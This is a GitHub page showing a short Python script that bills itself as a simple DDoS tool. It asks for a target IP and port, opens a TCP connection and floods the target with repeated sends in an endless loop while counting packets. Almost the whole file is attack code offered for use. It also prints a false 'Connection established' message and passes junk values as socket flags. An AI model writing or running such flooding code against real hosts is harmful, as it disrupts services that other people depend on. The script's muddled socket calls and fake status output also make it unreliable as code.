-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy path5.py
64 lines (56 loc) · 2.43 KB
/
5.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import socket
import time
print(""" _____ _____ _____
/\ | __ \| __ \ / ____|
/ \ _ __ _ __ _____ __ | | | | | | | ___| (___
/ /\ \ | '__| '__/ _ \ \ /\ / / | | | | | | |/ _ \\___ \
/ ____ \| | | | | (_) \ V V / | |__| | |__| | (_) |___) |
/_/ \_\_| |_| \___/ \_/\_/ |_____/|_____/ \___/_____/
||| A simple DDoS tool (NOT POWERFULL) |||
>>>----------------------------------------------------------->
""")
# Prompt the user for the target IP address and port
target_ip = input('Target IP address >--> ')
target_port = int(input('Target port >--> '))
max_packet_size = 65535
time.sleep(2)
print(" ")
print('[+] Connection established')
print(">>>-- Loading.... ------------------------------------------->")
time.sleep(5)
# Create a socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the target
s.connect((target_ip, target_port))
# Initialize counter and start time
packet_counter = 0
start_time = time.time()
# Send a large number of packets in a short period of time
while True:
try:
# Increase the packet size
s.send(b'<large_packet>', max_packet_size + 99999999)
# Decrease the delay between each packet
time.sleep(0.0000001)
# just random packet multiplyers... lol
s.send(b'<additional_packet>', max_packet_size + 99999999)
s.send(b'<1_packet>', max_packet_size + 99999999)
s.send(b'<2_packet>', max_packet_size + 45645647)
s.send(b'<3_packet>', max_packet_size + 99900990)
s.send(b'<4_packet>', max_packet_size + 99780999)
s.send(b'<5_packet>', max_packet_size + 99976888)
s.send(b'<6_packet>', max_packet_size + 68668699)
s.send(b'<7_packet>', max_packet_size + 99999999)
s.send(b'<8_packet>', max_packet_size + 23454567)
s.send(b'<9_packet>', max_packet_size + 34569999)
s.send(b'<0_packet>', max_packet_size + 99123456)
packet_counter += 1
print(f'|-- >Packets sent: {packet_counter}, Speed: {packet_counter/(time.time() - start_time)}')
except socket.error:
print(" ")
print("|||||||||| !!!WARNING!!! ||||||||||||||||||||||||||||||||||")
print("[!!!] Connection interupted, [reason: couldn't connect] |||")
print("|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||")
break
# Close the connection
s.close()